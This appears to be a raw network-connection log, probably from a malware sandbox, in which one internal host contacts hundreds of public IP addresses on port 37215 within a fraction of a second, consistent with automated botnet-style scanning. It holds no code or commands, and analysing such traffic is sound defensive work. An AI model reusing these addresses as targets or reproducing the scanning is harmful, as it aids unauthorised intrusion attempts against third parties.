Jan 1, 2024 12:52:02.039464951 CET	37751	37215	192.168.2.13	154.216.151.207
Jan 1, 2024 12:52:02.039464951 CET	37751	37215	192.168.2.13	37.64.97.0
Jan 1, 2024 12:52:02.039470911 CET	37751	37215	192.168.2.13	122.65.72.38
Jan 1, 2024 12:52:02.039486885 CET	37751	37215	192.168.2.13	197.60.20.172
Jan 1, 2024 12:52:02.039488077 CET	37751	37215	192.168.2.13	190.244.220.97
Jan 1, 2024 12:52:02.039491892 CET	37751	37215	192.168.2.13	41.197.106.11
Jan 1, 2024 12:52:02.039493084 CET	37751	37215	192.168.2.13	157.22.157.202
Jan 1, 2024 12:52:02.039493084 CET	37751	37215	192.168.2.13	154.75.167.70
Jan 1, 2024 12:52:02.039495945 CET	37751	37215	192.168.2.13	154.200.23.76
Jan 1, 2024 12:52:02.039505005 CET	37751	37215	192.168.2.13	41.111.6.232
Jan 1, 2024 12:52:02.039513111 CET	37751	37215	192.168.2.13	41.152.92.255
Jan 1, 2024 12:52:02.039513111 CET	37751	37215	192.168.2.13	41.55.231.90
Jan 1, 2024 12:52:02.039518118 CET	37751	37215	192.168.2.13	122.104.27.115
Jan 1, 2024 12:52:02.039520979 CET	37751	37215	192.168.2.13	41.149.62.59
Jan 1, 2024 12:52:02.039526939 CET	37751	37215	192.168.2.13	154.136.216.239
Jan 1, 2024 12:52:02.039530039 CET	37751	37215	192.168.2.13	156.56.66.239
Jan 1, 2024 12:52:02.039530039 CET	37751	37215	192.168.2.13	120.89.154.177
Jan 1, 2024 12:52:02.039530039 CET	37751	37215	192.168.2.13	92.19.35.161
Jan 1, 2024 12:52:02.039537907 CET	37751	37215	192.168.2.13	196.185.21.206
Jan 1, 2024 12:52:02.039546013 CET	37751	37215	192.168.2.13	197.104.49.126
Jan 1, 2024 12:52:02.039554119 CET	37751	37215	192.168.2.13	196.60.158.172
Jan 1, 2024 12:52:02.039556026 CET	37751	37215	192.168.2.13	197.245.238.112
Jan 1, 2024 12:52:02.039558887 CET	37751	37215	192.168.2.13	197.249.241.150
Jan 1, 2024 12:52:02.039562941 CET	37751	37215	192.168.2.13	197.118.196.251
Jan 1, 2024 12:52:02.039571047 CET	37751	37215	192.168.2.13	41.69.200.191
Jan 1, 2024 12:52:02.039581060 CET	37751	37215	192.168.2.13	41.239.193.144
Jan 1, 2024 12:52:02.039581060 CET	37751	37215	192.168.2.13	41.172.16.5
Jan 1, 2024 12:52:02.039582968 CET	37751	37215	192.168.2.13	156.97.117.55
Jan 1, 2024 12:52:02.039583921 CET	37751	37215	192.168.2.13	138.149.197.220
Jan 1, 2024 12:52:02.039583921 CET	37751	37215	192.168.2.13	156.56.71.112
Jan 1, 2024 12:52:02.039587975 CET	37751	37215	192.168.2.13	156.91.94.229
Jan 1, 2024 12:52:02.039587975 CET	37751	37215	192.168.2.13	154.195.178.176
Jan 1, 2024 12:52:02.039592981 CET	37751	37215	192.168.2.13	197.242.95.112
Jan 1, 2024 12:52:02.039592981 CET	37751	37215	192.168.2.13	156.249.57.103
Jan 1, 2024 12:52:02.039597988 CET	37751	37215	192.168.2.13	154.16.90.159
Jan 1, 2024 12:52:02.039597988 CET	37751	37215	192.168.2.13	197.87.143.215
Jan 1, 2024 12:52:02.039597988 CET	37751	37215	192.168.2.13	41.118.224.214
Jan 1, 2024 12:52:02.039597988 CET	37751	37215	192.168.2.13	41.243.52.129
Jan 1, 2024 12:52:02.039599895 CET	37751	37215	192.168.2.13	41.248.248.25
Jan 1, 2024 12:52:02.039599895 CET	37751	37215	192.168.2.13	41.128.129.42
Jan 1, 2024 12:52:02.039608002 CET	37751	37215	192.168.2.13	197.146.74.70
Jan 1, 2024 12:52:02.039608002 CET	37751	37215	192.168.2.13	41.48.103.165
Jan 1, 2024 12:52:02.039608955 CET	37751	37215	192.168.2.13	41.166.69.20
Jan 1, 2024 12:52:02.039609909 CET	37751	37215	192.168.2.13	160.204.9.167
Jan 1, 2024 12:52:02.039617062 CET	37751	37215	192.168.2.13	41.72.172.165
Jan 1, 2024 12:52:02.039621115 CET	37751	37215	192.168.2.13	41.57.221.227
Jan 1, 2024 12:52:02.039623976 CET	37751	37215	192.168.2.13	197.169.106.62
Jan 1, 2024 12:52:02.039625883 CET	37751	37215	192.168.2.13	41.171.140.231
Jan 1, 2024 12:52:02.039634943 CET	37751	37215	192.168.2.13	41.15.165.157
Jan 1, 2024 12:52:02.039634943 CET	37751	37215	192.168.2.13	197.226.123.184
Jan 1, 2024 12:52:02.039634943 CET	37751	37215	192.168.2.13	197.71.233.227
Jan 1, 2024 12:52:02.039634943 CET	37751	37215	192.168.2.13	197.150.120.121
Jan 1, 2024 12:52:02.039634943 CET	37751	37215	192.168.2.13	190.125.178.245
Jan 1, 2024 12:52:02.039637089 CET	37751	37215	192.168.2.13	186.81.130.243
Jan 1, 2024 12:52:02.039638996 CET	37751	37215	192.168.2.13	197.73.169.208
Jan 1, 2024 12:52:02.039638996 CET	37751	37215	192.168.2.13	156.54.242.93
Jan 1, 2024 12:52:02.039638996 CET	37751	37215	192.168.2.13	102.218.151.75
Jan 1, 2024 12:52:02.039648056 CET	37751	37215	192.168.2.13	41.99.192.182
Jan 1, 2024 12:52:02.039648056 CET	37751	37215	192.168.2.13	197.153.184.224
Jan 1, 2024 12:52:02.039654016 CET	37751	37215	192.168.2.13	156.214.98.189
Jan 1, 2024 12:52:02.039654016 CET	37751	37215	192.168.2.13	197.4.206.17
Jan 1, 2024 12:52:02.039654970 CET	37751	37215	192.168.2.13	107.62.34.131
Jan 1, 2024 12:52:02.039654970 CET	37751	37215	192.168.2.13	41.83.87.143
Jan 1, 2024 12:52:02.039654970 CET	37751	37215	192.168.2.13	156.119.6.221
Jan 1, 2024 12:52:02.039658070 CET	37751	37215	192.168.2.13	41.237.21.183
Jan 1, 2024 12:52:02.039663076 CET	37751	37215	192.168.2.13	181.73.167.199
Jan 1, 2024 12:52:02.039663076 CET	37751	37215	192.168.2.13	196.178.171.121
Jan 1, 2024 12:52:02.039663076 CET	37751	37215	192.168.2.13	41.78.135.12
Jan 1, 2024 12:52:02.039666891 CET	37751	37215	192.168.2.13	41.215.231.76
Jan 1, 2024 12:52:02.039666891 CET	37751	37215	192.168.2.13	107.45.27.207
Jan 1, 2024 12:52:02.039674044 CET	37751	37215	192.168.2.13	156.198.75.172
Jan 1, 2024 12:52:02.039681911 CET	37751	37215	192.168.2.13	138.168.248.193
Jan 1, 2024 12:52:02.039681911 CET	37751	37215	192.168.2.13	121.112.75.249
Jan 1, 2024 12:52:02.039681911 CET	37751	37215	192.168.2.13	45.247.14.147
Jan 1, 2024 12:52:02.039685011 CET	37751	37215	192.168.2.13	156.155.148.110
Jan 1, 2024 12:52:02.039689064 CET	37751	37215	192.168.2.13	190.72.58.6
Jan 1, 2024 12:52:02.039689064 CET	37751	37215	192.168.2.13	41.214.138.195
Jan 1, 2024 12:52:02.039694071 CET	37751	37215	192.168.2.13	196.170.172.26
Jan 1, 2024 12:52:02.039694071 CET	37751	37215	192.168.2.13	197.206.45.15
Jan 1, 2024 12:52:02.039695024 CET	37751	37215	192.168.2.13	41.105.170.97
Jan 1, 2024 12:52:02.039705992 CET	37751	37215	192.168.2.13	94.245.185.11
Jan 1, 2024 12:52:02.039715052 CET	37751	37215	192.168.2.13	41.15.113.83
Jan 1, 2024 12:52:02.039716959 CET	37751	37215	192.168.2.13	107.165.238.47
Jan 1, 2024 12:52:02.039724112 CET	37751	37215	192.168.2.13	45.0.235.144
Jan 1, 2024 12:52:02.039731979 CET	37751	37215	192.168.2.13	197.124.92.100
Jan 1, 2024 12:52:02.039731979 CET	37751	37215	192.168.2.13	156.48.59.211
Jan 1, 2024 12:52:02.039731979 CET	37751	37215	192.168.2.13	94.12.36.218
Jan 1, 2024 12:52:02.039732933 CET	37751	37215	192.168.2.13	41.98.167.69
Jan 1, 2024 12:52:02.039733887 CET	37751	37215	192.168.2.13	41.19.17.130
Jan 1, 2024 12:52:02.039733887 CET	37751	37215	192.168.2.13	197.157.122.73
Jan 1, 2024 12:52:02.039745092 CET	37751	37215	192.168.2.13	196.117.200.67
Jan 1, 2024 12:52:02.039756060 CET	37751	37215	192.168.2.13	138.2.115.12
Jan 1, 2024 12:52:02.039757967 CET	37751	37215	192.168.2.13	181.167.69.64
Jan 1, 2024 12:52:02.039769888 CET	37751	37215	192.168.2.13	156.231.253.24
Jan 1, 2024 12:52:02.039771080 CET	37751	37215	192.168.2.13	197.183.201.172
Jan 1, 2024 12:52:02.039777040 CET	37751	37215	192.168.2.13	94.122.199.210
Jan 1, 2024 12:52:02.039796114 CET	37751	37215	192.168.2.13	197.3.15.189
Jan 1, 2024 12:52:02.039798021 CET	37751	37215	192.168.2.13	197.81.72.238
Jan 1, 2024 12:52:02.039798021 CET	37751	37215	192.168.2.13	102.248.53.176
Jan 1, 2024 12:52:02.039798021 CET	37751	37215	192.168.2.13	41.167.163.150
Jan 1, 2024 12:52:02.039805889 CET	37751	37215	192.168.2.13	197.12.133.209
Jan 1, 2024 12:52:02.039807081 CET	37751	37215	192.168.2.13	197.0.153.48
Jan 1, 2024 12:52:02.039807081 CET	37751	37215	192.168.2.13	156.82.158.13
Jan 1, 2024 12:52:02.039807081 CET	37751	37215	192.168.2.13	41.139.144.167
Jan 1, 2024 12:52:02.039813042 CET	37751	37215	192.168.2.13	156.44.210.209
Jan 1, 2024 12:52:02.039813995 CET	37751	37215	192.168.2.13	197.52.127.63
Jan 1, 2024 12:52:02.039813995 CET	37751	37215	192.168.2.13	120.237.144.229
Jan 1, 2024 12:52:02.039819002 CET	37751	37215	192.168.2.13	156.197.181.93
Jan 1, 2024 12:52:02.039824963 CET	37751	37215	192.168.2.13	222.99.114.72
Jan 1, 2024 12:52:02.039824963 CET	37751	37215	192.168.2.13	156.74.1.34
Jan 1, 2024 12:52:02.039827108 CET	37751	37215	192.168.2.13	197.192.152.181
Jan 1, 2024 12:52:02.039827108 CET	37751	37215	192.168.2.13	156.1.173.170
Jan 1, 2024 12:52:02.039836884 CET	37751	37215	192.168.2.13	197.193.240.233
Jan 1, 2024 12:52:02.039854050 CET	37751	37215	192.168.2.13	120.173.196.186
Jan 1, 2024 12:52:02.039856911 CET	37751	37215	192.168.2.13	197.71.49.236
Jan 1, 2024 12:52:02.039856911 CET	37751	37215	192.168.2.13	222.35.112.31
Jan 1, 2024 12:52:02.039859056 CET	37751	37215	192.168.2.13	156.99.34.29
Jan 1, 2024 12:52:02.039859056 CET	37751	37215	192.168.2.13	41.48.164.179
Jan 1, 2024 12:52:02.039859056 CET	37751	37215	192.168.2.13	197.25.32.2
Jan 1, 2024 12:52:02.039859056 CET	37751	37215	192.168.2.13	41.108.89.149
Jan 1, 2024 12:52:02.039861917 CET	37751	37215	192.168.2.13	41.133.190.138
Jan 1, 2024 12:52:02.039868116 CET	37751	37215	192.168.2.13	138.90.158.57
Jan 1, 2024 12:52:02.039868116 CET	37751	37215	192.168.2.13	196.162.75.19
Jan 1, 2024 12:52:02.039875031 CET	37751	37215	192.168.2.13	197.154.176.20
Jan 1, 2024 12:52:02.039875984 CET	37751	37215	192.168.2.13	41.118.139.86
Jan 1, 2024 12:52:02.039889097 CET	37751	37215	192.168.2.13	197.227.197.18
Jan 1, 2024 12:52:02.039889097 CET	37751	37215	192.168.2.13	41.4.215.229
Jan 1, 2024 12:52:02.039889097 CET	37751	37215	192.168.2.13	156.158.176.203
Jan 1, 2024 12:52:02.039905071 CET	37751	37215	192.168.2.13	197.168.35.185
Jan 1, 2024 12:52:02.039912939 CET	37751	37215	192.168.2.13	157.130.169.252
Jan 1, 2024 12:52:02.039916039 CET	37751	37215	192.168.2.13	157.23.163.189
Jan 1, 2024 12:52:02.039916039 CET	37751	37215	192.168.2.13	197.66.190.197
Jan 1, 2024 12:52:02.039937019 CET	37751	37215	192.168.2.13	41.11.230.42
Jan 1, 2024 12:52:02.039940119 CET	37751	37215	192.168.2.13	156.70.146.252
Jan 1, 2024 12:52:02.039941072 CET	37751	37215	192.168.2.13	92.103.116.48
Jan 1, 2024 12:52:02.039943933 CET	37751	37215	192.168.2.13	154.232.173.254
Jan 1, 2024 12:52:02.039943933 CET	37751	37215	192.168.2.13	197.59.63.116
Jan 1, 2024 12:52:02.039943933 CET	37751	37215	192.168.2.13	122.79.47.70
Jan 1, 2024 12:52:02.039951086 CET	37751	37215	192.168.2.13	45.162.64.80
Jan 1, 2024 12:52:02.039952993 CET	37751	37215	192.168.2.13	197.133.115.118
Jan 1, 2024 12:52:02.039952993 CET	37751	37215	192.168.2.13	41.98.143.132
Jan 1, 2024 12:52:02.039959908 CET	37751	37215	192.168.2.13	186.209.80.83
Jan 1, 2024 12:52:02.039962053 CET	37751	37215	192.168.2.13	94.27.38.117
Jan 1, 2024 12:52:02.039962053 CET	37751	37215	192.168.2.13	41.12.126.200
Jan 1, 2024 12:52:02.039962053 CET	37751	37215	192.168.2.13	41.77.202.75
Jan 1, 2024 12:52:02.039962053 CET	37751	37215	192.168.2.13	41.222.16.79
Jan 1, 2024 12:52:02.039964914 CET	37751	37215	192.168.2.13	160.69.190.192
Jan 1, 2024 12:52:02.039974928 CET	37751	37215	192.168.2.13	41.190.203.156
Jan 1, 2024 12:52:02.039978027 CET	37751	37215	192.168.2.13	41.11.77.190
Jan 1, 2024 12:52:02.039978981 CET	37751	37215	192.168.2.13	156.168.116.158
Jan 1, 2024 12:52:02.039980888 CET	37751	37215	192.168.2.13	41.140.190.91
Jan 1, 2024 12:52:02.039982080 CET	37751	37215	192.168.2.13	222.118.25.112
Jan 1, 2024 12:52:02.039982080 CET	37751	37215	192.168.2.13	107.90.176.127
Jan 1, 2024 12:52:02.039982080 CET	37751	37215	192.168.2.13	181.170.144.15
Jan 1, 2024 12:52:02.039983034 CET	37751	37215	192.168.2.13	197.4.27.159
Jan 1, 2024 12:52:02.039983988 CET	37751	37215	192.168.2.13	197.101.17.228
Jan 1, 2024 12:52:02.039983034 CET	37751	37215	192.168.2.13	92.153.15.212
Jan 1, 2024 12:52:02.039983988 CET	37751	37215	192.168.2.13	156.44.79.8
Jan 1, 2024 12:52:02.039983034 CET	37751	37215	192.168.2.13	92.158.67.133
Jan 1, 2024 12:52:02.039983034 CET	37751	37215	192.168.2.13	157.131.172.210
Jan 1, 2024 12:52:02.039983034 CET	37751	37215	192.168.2.13	41.68.58.19
Jan 1, 2024 12:52:02.039990902 CET	37751	37215	192.168.2.13	186.176.145.100
Jan 1, 2024 12:52:02.039990902 CET	37751	37215	192.168.2.13	222.99.239.157
Jan 1, 2024 12:52:02.039998055 CET	37751	37215	192.168.2.13	197.77.225.231
Jan 1, 2024 12:52:02.039998055 CET	37751	37215	192.168.2.13	156.252.40.111
Jan 1, 2024 12:52:02.040000916 CET	37751	37215	192.168.2.13	156.114.169.108
Jan 1, 2024 12:52:02.040000916 CET	37751	37215	192.168.2.13	41.204.190.190
Jan 1, 2024 12:52:02.040002108 CET	37751	37215	192.168.2.13	41.18.21.145
Jan 1, 2024 12:52:02.040002108 CET	37751	37215	192.168.2.13	156.228.234.94
Jan 1, 2024 12:52:02.040002108 CET	37751	37215	192.168.2.13	156.55.183.24
Jan 1, 2024 12:52:02.040005922 CET	37751	37215	192.168.2.13	122.77.82.115
Jan 1, 2024 12:52:02.040005922 CET	37751	37215	192.168.2.13	41.170.144.162
Jan 1, 2024 12:52:02.040014982 CET	37751	37215	192.168.2.13	197.161.230.254
Jan 1, 2024 12:52:02.040021896 CET	37751	37215	192.168.2.13	41.167.51.43
Jan 1, 2024 12:52:02.040023088 CET	37751	37215	192.168.2.13	154.108.44.205
Jan 1, 2024 12:52:02.040030956 CET	37751	37215	192.168.2.13	95.147.108.202
Jan 1, 2024 12:52:02.040040970 CET	37751	37215	192.168.2.13	197.116.90.39
Jan 1, 2024 12:52:02.040040970 CET	37751	37215	192.168.2.13	156.133.214.249
Jan 1, 2024 12:52:02.040041924 CET	37751	37215	192.168.2.13	41.135.73.51
Jan 1, 2024 12:52:02.040041924 CET	37751	37215	192.168.2.13	157.79.213.175
Jan 1, 2024 12:52:02.040041924 CET	37751	37215	192.168.2.13	197.70.10.252
Jan 1, 2024 12:52:02.040041924 CET	37751	37215	192.168.2.13	41.0.201.121
Jan 1, 2024 12:52:02.040041924 CET	37751	37215	192.168.2.13	156.101.237.229
Jan 1, 2024 12:52:02.040041924 CET	37751	37215	192.168.2.13	154.214.13.36
Jan 1, 2024 12:52:02.040046930 CET	37751	37215	192.168.2.13	157.36.22.254
Jan 1, 2024 12:52:02.040055990 CET	37751	37215	192.168.2.13	41.252.139.125
Jan 1, 2024 12:52:02.040059090 CET	37751	37215	192.168.2.13	102.1.9.173
Jan 1, 2024 12:52:02.040066004 CET	37751	37215	192.168.2.13	156.163.75.19
Jan 1, 2024 12:52:02.040067911 CET	37751	37215	192.168.2.13	156.80.74.113
Jan 1, 2024 12:52:02.040076971 CET	37751	37215	192.168.2.13	197.124.243.207
Jan 1, 2024 12:52:02.040086031 CET	37751	37215	192.168.2.13	102.199.202.177
Jan 1, 2024 12:52:02.040087938 CET	37751	37215	192.168.2.13	156.219.9.234
Jan 1, 2024 12:52:02.040087938 CET	37751	37215	192.168.2.13	197.62.98.163
Jan 1, 2024 12:52:02.040093899 CET	37751	37215	192.168.2.13	156.212.208.177
Jan 1, 2024 12:52:02.040093899 CET	37751	37215	192.168.2.13	197.63.10.225
Jan 1, 2024 12:52:02.040093899 CET	37751	37215	192.168.2.13	190.63.133.254
Jan 1, 2024 12:52:02.040096998 CET	37751	37215	192.168.2.13	197.54.131.128
Jan 1, 2024 12:52:02.040098906 CET	37751	37215	192.168.2.13	120.89.110.114
Jan 1, 2024 12:52:02.040102959 CET	37751	37215	192.168.2.13	197.116.15.44
Jan 1, 2024 12:52:02.040102959 CET	37751	37215	192.168.2.13	157.204.6.154
Jan 1, 2024 12:52:02.040112972 CET	37751	37215	192.168.2.13	186.33.140.167
Jan 1, 2024 12:52:02.040123940 CET	37751	37215	192.168.2.13	92.82.145.59
Jan 1, 2024 12:52:02.040127039 CET	37751	37215	192.168.2.13	156.226.171.229
Jan 1, 2024 12:52:02.040133953 CET	37751	37215	192.168.2.13	41.45.28.222
Jan 1, 2024 12:52:02.040137053 CET	37751	37215	192.168.2.13	190.0.140.122
Jan 1, 2024 12:52:02.040154934 CET	37751	37215	192.168.2.13	197.114.230.122
Jan 1, 2024 12:52:02.040162086 CET	37751	37215	192.168.2.13	197.240.20.136
Jan 1, 2024 12:52:02.040173054 CET	37751	37215	192.168.2.13	156.213.114.224
Jan 1, 2024 12:52:02.040174961 CET	37751	37215	192.168.2.13	197.111.182.81
Jan 1, 2024 12:52:02.040174961 CET	37751	37215	192.168.2.13	94.42.245.32
Jan 1, 2024 12:52:02.040179014 CET	37751	37215	192.168.2.13	197.206.59.244
Jan 1, 2024 12:52:02.040179014 CET	37751	37215	192.168.2.13	156.245.211.56
Jan 1, 2024 12:52:02.040179014 CET	37751	37215	192.168.2.13	156.137.187.228
Jan 1, 2024 12:52:02.040184021 CET	37751	37215	192.168.2.13	107.35.6.168
Jan 1, 2024 12:52:02.040184021 CET	37751	37215	192.168.2.13	41.171.139.213
Jan 1, 2024 12:52:02.040189028 CET	37751	37215	192.168.2.13	197.81.41.39
Jan 1, 2024 12:52:02.040189981 CET	37751	37215	192.168.2.13	41.244.81.183
Jan 1, 2024 12:52:02.040189981 CET	37751	37215	192.168.2.13	41.104.104.206
Jan 1, 2024 12:52:02.040194988 CET	37751	37215	192.168.2.13	138.204.175.151
Jan 1, 2024 12:52:02.040196896 CET	37751	37215	192.168.2.13	107.160.108.97
Jan 1, 2024 12:52:02.040196896 CET	37751	37215	192.168.2.13	45.161.25.129
Jan 1, 2024 12:52:02.040196896 CET	37751	37215	192.168.2.13	197.32.61.67
Jan 1, 2024 12:52:02.040200949 CET	37751	37215	192.168.2.13	41.21.170.231
Jan 1, 2024 12:52:02.040201902 CET	37751	37215	192.168.2.13	156.239.57.62
Jan 1, 2024 12:52:02.040220022 CET	37751	37215	192.168.2.13	156.120.159.8
Jan 1, 2024 12:52:02.040225029 CET	37751	37215	192.168.2.13	94.53.54.5
Jan 1, 2024 12:52:02.040227890 CET	37751	37215	192.168.2.13	138.170.14.109
Jan 1, 2024 12:52:02.040227890 CET	37751	37215	192.168.2.13	156.53.74.233
Jan 1, 2024 12:52:02.040227890 CET	37751	37215	192.168.2.13	156.20.56.153
Jan 1, 2024 12:52:02.040227890 CET	37751	37215	192.168.2.13	37.179.39.226
Jan 1, 2024 12:52:02.040230036 CET	37751	37215	192.168.2.13	138.175.148.91
Jan 1, 2024 12:52:02.040231943 CET	37751	37215	192.168.2.13	156.103.210.249
Jan 1, 2024 12:52:02.040237904 CET	37751	37215	192.168.2.13	41.179.186.36
Jan 1, 2024 12:52:02.040256977 CET	37751	37215	192.168.2.13	156.218.172.12
Jan 1, 2024 12:52:02.040260077 CET	37751	37215	192.168.2.13	197.32.181.103
Jan 1, 2024 12:52:02.040260077 CET	37751	37215	192.168.2.13	138.232.170.230
Jan 1, 2024 12:52:02.040261030 CET	37751	37215	192.168.2.13	196.228.2.56
Jan 1, 2024 12:52:02.040261030 CET	37751	37215	192.168.2.13	41.170.64.48
Jan 1, 2024 12:52:02.040261030 CET	37751	37215	192.168.2.13	197.251.55.161
Jan 1, 2024 12:52:02.040261030 CET	37751	37215	192.168.2.13	41.173.97.211
Jan 1, 2024 12:52:02.040261030 CET	37751	37215	192.168.2.13	156.53.73.191
Jan 1, 2024 12:52:02.040263891 CET	37751	37215	192.168.2.13	41.202.56.86
Jan 1, 2024 12:52:02.040266037 CET	37751	37215	192.168.2.13	45.196.127.26
Jan 1, 2024 12:52:02.040276051 CET	37751	37215	192.168.2.13	45.98.44.26
Jan 1, 2024 12:52:02.040276051 CET	37751	37215	192.168.2.13	41.220.37.242
Jan 1, 2024 12:52:02.040276051 CET	37751	37215	192.168.2.13	41.136.151.63
Jan 1, 2024 12:52:02.040278912 CET	37751	37215	192.168.2.13	156.231.129.96
Jan 1, 2024 12:52:02.040278912 CET	37751	37215	192.168.2.13	138.130.124.127
Jan 1, 2024 12:52:02.040286064 CET	37751	37215	192.168.2.13	190.101.32.102
Jan 1, 2024 12:52:02.040286064 CET	37751	37215	192.168.2.13	197.233.251.232
Jan 1, 2024 12:52:02.040286064 CET	37751	37215	192.168.2.13	94.159.118.21
Jan 1, 2024 12:52:02.040288925 CET	37751	37215	192.168.2.13	156.72.141.51
Jan 1, 2024 12:52:02.040288925 CET	37751	37215	192.168.2.13	92.240.210.79
Jan 1, 2024 12:52:02.040296078 CET	37751	37215	192.168.2.13	197.120.11.165
Jan 1, 2024 12:52:02.040296078 CET	37751	37215	192.168.2.13	45.138.148.91
Jan 1, 2024 12:52:02.040296078 CET	37751	37215	192.168.2.13	37.188.171.254
Jan 1, 2024 12:52:02.040296078 CET	37751	37215	192.168.2.13	156.29.97.8
Jan 1, 2024 12:52:02.040297985 CET	37751	37215	192.168.2.13	197.236.66.49
Jan 1, 2024 12:52:02.040298939 CET	37751	37215	192.168.2.13	160.179.162.105
Jan 1, 2024 12:52:02.040298939 CET	37751	37215	192.168.2.13	121.60.149.92
Jan 1, 2024 12:52:02.040298939 CET	37751	37215	192.168.2.13	156.221.54.229
Jan 1, 2024 12:52:02.040309906 CET	37751	37215	192.168.2.13	156.11.62.61
Jan 1, 2024 12:52:02.040313005 CET	37751	37215	192.168.2.13	156.113.251.54
Jan 1, 2024 12:52:02.040316105 CET	37751	37215	192.168.2.13	41.231.94.239
Jan 1, 2024 12:52:02.040322065 CET	37751	37215	192.168.2.13	197.118.202.13
Jan 1, 2024 12:52:02.040323973 CET	37751	37215	192.168.2.13	41.124.12.151
Jan 1, 2024 12:52:02.040332079 CET	37751	37215	192.168.2.13	41.25.153.241
Jan 1, 2024 12:52:02.040335894 CET	37751	37215	192.168.2.13	41.179.220.32
Jan 1, 2024 12:52:02.040340900 CET	37751	37215	192.168.2.13	102.218.136.179
Jan 1, 2024 12:52:02.040344954 CET	37751	37215	192.168.2.13	197.78.248.89
Jan 1, 2024 12:52:02.040349007 CET	37751	37215	192.168.2.13	160.53.63.206
Jan 1, 2024 12:52:02.040358067 CET	37751	37215	192.168.2.13	41.20.10.113
Jan 1, 2024 12:52:02.040359020 CET	37751	37215	192.168.2.13	37.54.38.93
Jan 1, 2024 12:52:02.040364027 CET	37751	37215	192.168.2.13	107.26.124.31
Jan 1, 2024 12:52:02.040364027 CET	37751	37215	192.168.2.13	181.21.30.243
Jan 1, 2024 12:52:02.040365934 CET	37751	37215	192.168.2.13	197.125.236.86
Jan 1, 2024 12:52:02.040371895 CET	37751	37215	192.168.2.13	122.147.197.25
Jan 1, 2024 12:52:02.040374041 CET	37751	37215	192.168.2.13	41.211.129.89
Jan 1, 2024 12:52:02.040374041 CET	37751	37215	192.168.2.13	107.211.67.118
Jan 1, 2024 12:52:02.040374041 CET	37751	37215	192.168.2.13	186.125.190.135
Jan 1, 2024 12:52:02.040380001 CET	37751	37215	192.168.2.13	197.87.218.42
Jan 1, 2024 12:52:02.040381908 CET	37751	37215	192.168.2.13	181.167.221.67
Jan 1, 2024 12:52:02.040381908 CET	37751	37215	192.168.2.13	41.212.252.133
Jan 1, 2024 12:52:02.040384054 CET	37751	37215	192.168.2.13	41.254.157.113
Jan 1, 2024 12:52:02.040381908 CET	37751	37215	192.168.2.13	122.97.2.58
Jan 1, 2024 12:52:02.040381908 CET	37751	37215	192.168.2.13	156.176.173.112
Jan 1, 2024 12:52:02.040388107 CET	37751	37215	192.168.2.13	156.238.172.12
Jan 1, 2024 12:52:02.040390015 CET	37751	37215	192.168.2.13	197.152.235.244
Jan 1, 2024 12:52:02.040393114 CET	37751	37215	192.168.2.13	92.90.91.16
Jan 1, 2024 12:52:02.040397882 CET	37751	37215	192.168.2.13	95.62.89.140
Jan 1, 2024 12:52:02.040397882 CET	37751	37215	192.168.2.13	92.189.15.221
Jan 1, 2024 12:52:02.040397882 CET	37751	37215	192.168.2.13	41.34.198.75
Jan 1, 2024 12:52:02.040396929 CET	37751	37215	192.168.2.13	186.28.151.93
Jan 1, 2024 12:52:02.040404081 CET	37751	37215	192.168.2.13	197.62.139.55
Jan 1, 2024 12:52:02.040405035 CET	37751	37215	192.168.2.13	197.106.13.194
Jan 1, 2024 12:52:02.040414095 CET	37751	37215	192.168.2.13	181.189.169.66
Jan 1, 2024 12:52:02.040422916 CET	37751	37215	192.168.2.13	197.61.124.102
Jan 1, 2024 12:52:02.040430069 CET	37751	37215	192.168.2.13	197.249.54.112
Jan 1, 2024 12:52:02.040430069 CET	37751	37215	192.168.2.13	41.63.112.22
Jan 1, 2024 12:52:02.040432930 CET	37751	37215	192.168.2.13	197.215.144.96
Jan 1, 2024 12:52:02.040432930 CET	37751	37215	192.168.2.13	186.198.229.153
Jan 1, 2024 12:52:02.040441036 CET	37751	37215	192.168.2.13	92.12.159.198
Jan 1, 2024 12:52:02.040446043 CET	37751	37215	192.168.2.13	41.168.222.182
Jan 1, 2024 12:52:02.040453911 CET	37751	37215	192.168.2.13	102.193.127.82
Jan 1, 2024 12:52:02.040463924 CET	37751	37215	192.168.2.13	197.161.33.52
Jan 1, 2024 12:52:02.040467978 CET	37751	37215	192.168.2.13	156.187.66.242
Jan 1, 2024 12:52:02.040468931 CET	37751	37215	192.168.2.13	156.168.7.171
Jan 1, 2024 12:52:02.040472031 CET	37751	37215	192.168.2.13	222.23.110.223
Jan 1, 2024 12:52:02.040472031 CET	37751	37215	192.168.2.13	41.3.149.113
Jan 1, 2024 12:52:02.040477991 CET	37751	37215	192.168.2.13	45.39.232.63
Jan 1, 2024 12:52:02.040482998 CET	37751	37215	192.168.2.13	102.204.175.15
Jan 1, 2024 12:52:02.040493965 CET	37751	37215	192.168.2.13	41.20.133.34
Jan 1, 2024 12:52:02.040494919 CET	37751	37215	192.168.2.13	41.0.151.233
Jan 1, 2024 12:52:02.040493965 CET	37751	37215	192.168.2.13	222.18.117.88
Jan 1, 2024 12:52:02.040503979 CET	37751	37215	192.168.2.13	41.14.232.215
Jan 1, 2024 12:52:02.040503979 CET	37751	37215	192.168.2.13	156.78.103.115
Jan 1, 2024 12:52:02.040503979 CET	37751	37215	192.168.2.13	190.9.5.247
Jan 1, 2024 12:52:02.040508032 CET	37751	37215	192.168.2.13	94.221.74.38
Jan 1, 2024 12:52:02.040508986 CET	37751	37215	192.168.2.13	41.205.125.181
Jan 1, 2024 12:52:02.040513992 CET	37751	37215	192.168.2.13	41.137.86.68
Jan 1, 2024 12:52:02.040517092 CET	37751	37215	192.168.2.13	156.29.128.160
Jan 1, 2024 12:52:02.040519953 CET	37751	37215	192.168.2.13	138.255.92.55
Jan 1, 2024 12:52:02.040520906 CET	37751	37215	192.168.2.13	107.25.42.208
Jan 1, 2024 12:52:02.040522099 CET	37751	37215	192.168.2.13	121.167.235.147
Jan 1, 2024 12:52:02.040527105 CET	37751	37215	192.168.2.13	122.132.32.57
Jan 1, 2024 12:52:02.040527105 CET	37751	37215	192.168.2.13	41.97.46.90
Jan 1, 2024 12:52:02.040528059 CET	37751	37215	192.168.2.13	197.228.85.227
Jan 1, 2024 12:52:02.040532112 CET	37751	37215	192.168.2.13	120.123.163.184
Jan 1, 2024 12:52:02.040532112 CET	37751	37215	192.168.2.13	197.81.169.219
Jan 1, 2024 12:52:02.040534973 CET	37751	37215	192.168.2.13	41.226.6.115
Jan 1, 2024 12:52:02.040534973 CET	37751	37215	192.168.2.13	197.180.13.38
Jan 1, 2024 12:52:02.040534973 CET	37751	37215	192.168.2.13	156.127.24.114
Jan 1, 2024 12:52:02.040537119 CET	37751	37215	192.168.2.13	197.169.60.195
